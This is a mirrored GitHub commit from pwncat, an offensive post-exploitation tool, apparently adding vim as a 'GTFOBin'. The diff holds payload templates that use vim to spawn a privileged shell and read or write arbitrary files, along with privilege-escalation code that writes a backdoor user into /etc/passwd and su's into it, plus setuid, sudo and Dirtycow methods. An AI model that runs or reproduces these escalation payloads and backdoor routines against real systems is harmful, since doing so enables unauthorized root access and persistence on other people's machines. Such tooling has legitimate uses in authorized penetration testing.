1
0
mirror of https://github.com/calebstewart/pwncat.git synced 2024-11-27 19:04:15 +01:00

Added vim as a GTFOBin. Testing resolved a clusterfuck

This commit is contained in:
John Hammond 2020-05-10 23:17:03 -04:00
parent 2a4ab160d3
commit 983f37e6d6
9 changed files with 74 additions and 79 deletions

View File

@ -7,7 +7,7 @@
"name": "cp",
"write_file": {
"type": "base64",
"payload": "TF=/tmp/.pwncat; echo {data} | {base64} -d > $TF; {path} $TF ${lfile}; {unlink} $TF"
"payload": "TF=/tmp/.pwncat; echo {data} | {base64} -d > $TF; {path} $TF {lfile}; {unlink} $TF"
}
},
{
@ -67,7 +67,7 @@
"read_file": "{path} '//' {lfile}",
"write_file": {
"type": "base64",
"payload": "{path} -v LFILE={lfile} 'BEGIN {{ printf \"\" > LFILE; while ((\"echo \\\"{data}\\\" | base64 -d\" | getline) > 0){{ print >> LFILE }} }}'"
"payload": "{path} -v LFILE={lfile} 'BEGIN {{ printf \"\" > LFILE; while ((\"echo \\\"{data}\\\" | {base64} -d\" | getline) > 0){{ print >> LFILE }} }}'"
}
},
{
@ -141,16 +141,28 @@
"command": "{path} -p -c {command}"
},
{
"name": "vim",
"name": "vim.basic",
"shell": {
"script": "{command}",
"suid": ["-p"]
"need" : ["-e", "+:py3 import os; os.execl(\"{shell}\", \"{shell}\", \"-pc\", \"{reset}; exec {shell} -p\")", "+q!"]
}
},
{
"name": "vim.basic",
"shell": {
"need" : ["-e", "+:py import os; os.execl(\"{shell}\", \"{shell}\", \"-c\", \"{reset}; exec {shell}\")", "+q!"]
}
},
{
"name": "vim.basic",
"shell": {
"need" : ["-e", "+:!{shell}", "+q!"]
},
"read_file": "{path} -p -c \"cat {lfile}\"",
"read_file": "{path} {lfile} -es '+%print' '+:q!' /dev/stdin",
"write_file": {
"type": "base64",
"payload": "{path} -p -c \"echo -n {data} | base64 -d > {lfile}\""
"payload": "echo {data} | base64 -d | {path} -es '+%print' '+:wq! {lfile}' /dev/stdin"
},
"command": "{path} -p -c {command}"
"command": "{path} -c ':!{command}'"
}
]

View File

@ -65,10 +65,13 @@ class RemoteBinaryPipe(RawIOBase):
obj = b
# Receive the data
try:
n = self.pty.client.recv_into(b)
except BlockingIOError:
return 0
while True:
try:
n = self.pty.client.recv_into(b)
break
except (BlockingIOError, socket.error):
pass
obj = bytes(b)
# Check for EOF

View File

@ -59,8 +59,13 @@ class Binary:
except KeyError as exc:
# The keyerror has the name in quotes for some reason
key = shlex.split(str(exc))[0]
quote = True
if key.startswith("unquote_"):
key = key.split("unquote_")[1]
quote = False
# Find the remote binary that matches
value = self.which(key, quote=True)
value = self.which(key, quote=quote)
# Whoops! No dependancy
if value is None:
raise MissingBinary(key)

View File

@ -1,6 +1,8 @@
#!/usr/bin/env python3
from typing import Type, List, Tuple
import crypt
from time import sleep
import socket
from pwncat.privesc.base import Method, PrivescError, Technique, SuMethod, Capability
from pwncat.privesc.setuid import SetuidMethod
@ -14,8 +16,8 @@ from pwncat import util
# privesc_methods = [SetuidMethod, SuMethod]
# privesc_methods = [SuMethod, SudoMethod, SetuidMethod, DirtycowMethod, ScreenMethod]
privesc_methods = [SuMethod, SudoMethod, ScreenMethod, SetuidMethod]
# privesc_methods = [ScreenMethod]
# privesc_methods = [SuMethod, SudoMethod, ScreenMethod, SetuidMethod]
privesc_methods = [SuMethod, SetuidMethod]
class Finder:
@ -124,6 +126,8 @@ class Finder:
raise PrivescError("/etc/passwd update failed!")
self.pty.process(f"su {self.backdoor_user_name}", delim=False)
self.pty.flush_output()
self.pty.client.send(self.backdoor_password.encode("utf-8") + b"\n")
self.pty.run("echo")
@ -281,18 +285,27 @@ class Finder:
try:
# Attempt our basic, known technique
exit_script = technique.method.execute(technique)
self.pty.flush_output()
# Reset the terminal to ensure we are stable
self.pty.reset()
# Check that we actually succeeded
if self.pty.whoami() == technique.user:
current = self.pty.whoami()
if current == technique.user or (
technique.user == self.backdoor_user_name and current == "root"
):
return exit_script
# Check if we ended up in a sub-shell without escalating
if self.pty.getenv("SHLVL") != shlvl:
# Get out of this subshell. We don't need it
self.pty.process(exit_script, delim=False)
# Clean up whatever mess was left over
self.pty.flush_output()
self.pty.reset()
# The privesc didn't work, but didn't throw an exception.
@ -313,7 +326,6 @@ class Finder:
# Read the current content of /etc/passwd
reader = gtfobins.Binary.find_capability(self.pty.which, Capability.READ)
if reader is None:
print("\nNo reader found")
raise PrivescError("no file reader found")
payload = reader.read_file("/etc/passwd")
@ -352,7 +364,10 @@ class Finder:
self.backdoor_user = self.pty.users[user]
# Switch to the new user
self.pty.process(f"su {user}", delim=False)
# self.pty.process(f"su {user}", delim=False)
self.pty.process(f"su {user}", delim=True)
self.pty.flush_output()
self.pty.client.send(self.backdoor_password.encode("utf-8") + b"\n")
self.pty.run("echo")

View File

@ -111,10 +111,7 @@ class SuMethod(Method):
# Send the su command, and check if it succeeds
self.pty.run(f'su {technique.user} -c "echo good"', wait=False)
# Read the echo
if self.pty.has_echo:
self.pty.recvuntil("\n")
self.pty.flush_output()
# Send the password
self.pty.client.sendall(technique.ident.encode("utf-8") + b"\n")
@ -129,18 +126,10 @@ class SuMethod(Method):
raise PrivescError(f"{technique.user}: invalid password")
self.pty.run(f"su {technique.user}", wait=False)
self.pty.flush_output()
self.pty.client.sendall(technique.ident.encode("utf-8") + b"\n")
user = self.pty.whoami()
if (
technique.user == self.pty.privesc.backdoor_user_name and user != "root"
) or (
technique.user != self.pty.privesc.backdoor_user_name
and user != technique.user
):
raise PrivescError(f"{technique} failed (still {self.pty.whoami()})")
return "exit"
def get_name(self, tech: Technique):

View File

@ -92,4 +92,5 @@ class DirtycowMethod(Method):
# Become the new user!
self.pty.process(f"su {self.pty.privesc.backdoor_user_name}", delim=False)
self.pty.client.send(self.pty.privesc.backdoor_password.encode("utf-8") + b"\n")
self.pty.run("echo")
return "exit"

View File

@ -87,32 +87,13 @@ class SetuidMethod(Method):
binary = technique.ident
enter, input, exit = binary.shell(self.pty.shell, suid=True)
before_shell_level = self.pty.run("echo $SHLVL").strip()
before_shell_level = int(before_shell_level) if before_shell_level != b"" else 0
# Run the start commands
self.pty.run(enter + "\n", wait=False)
# self.pty.process(enter, delim=False)
self.pty.process(enter, delim=False)
# Send required input
self.pty.client.send(input.encode("utf-8"))
# Wait for result
self.pty.run("echo")
# sleep(0.1)
user = self.pty.run("whoami").strip().decode("utf-8")
if user == technique.user:
return exit
else:
after_shell_level = self.pty.run("echo $SHLVL").strip()
after_shell_level = (
int(after_shell_level) if after_shell_level != b"" else 0
)
if after_shell_level > before_shell_level:
self.pty.run(exit, wait=False) # here be dragons
raise PrivescError(f"escalation failed for {technique}")
return exit # remember how to close out of this privesc
def read_file(self, filepath: str, technique: Technique) -> RemoteBinaryPipe:
binary = technique.ident

View File

@ -216,9 +216,6 @@ class SudoMethod(Method):
binary, sudo_spec, password_required = technique.ident
before_shell_level = self.pty.run("echo $SHLVL").strip()
before_shell_level = int(before_shell_level) if before_shell_level != b"" else 0
shell_payload, input, exit = binary.sudo_shell(
technique.user, sudo_spec, self.pty.shell
)
@ -232,23 +229,7 @@ class SudoMethod(Method):
# Provide stdin if needed
self.pty.client.send(input.encode("utf-8"))
# Give it a bit to let the shell start. We considered a sleep here, but
# that was not consistent. This will utilizes the logic in `run` for
# waiting for the output of the command (`echo`), which waits the
# appropriate amount of time.
self.pty.run("echo")
user = self.pty.whoami()
if user == technique.user:
return exit
after_shell_level = self.pty.run("echo $SHLVL").strip()
after_shell_level = int(after_shell_level) if after_shell_level != b"" else 0
if after_shell_level > before_shell_level:
self.pty.run(exit, wait=False) # here be dragons
raise PrivescError("failed to privesc")
return exit
def read_file(self, filepath: str, technique: Technique) -> RemoteBinaryPipe:

View File

@ -520,7 +520,7 @@ class PtyHandler:
# Cache the value
self.known_binaries[name] = path
if quote:
if quote and path is not None:
path = shlex.quote(path)
return path
@ -976,10 +976,6 @@ class PtyHandler:
"""
response = self.process(cmd, delim=wait)
if callable(input):
input()
else:
self.client.send(input)
if wait:
@ -993,6 +989,11 @@ class PtyHandler:
else:
self.recvuntil(b"\n")
if callable(input):
input()
else:
self.client.send(input)
return response
def process(self, cmd, delim=True) -> bytes:
@ -1109,6 +1110,13 @@ class PtyHandler:
self.run(f"export PS1='{self.remote_prefix} {self.remote_prompt}'")
self.run(f"tput rmam")
def flush_output(self):
while True:
try:
self.client.recv(4096)
except socket.error:
break
def reset(self):
self.run("reset", wait=False)
self.has_cr = True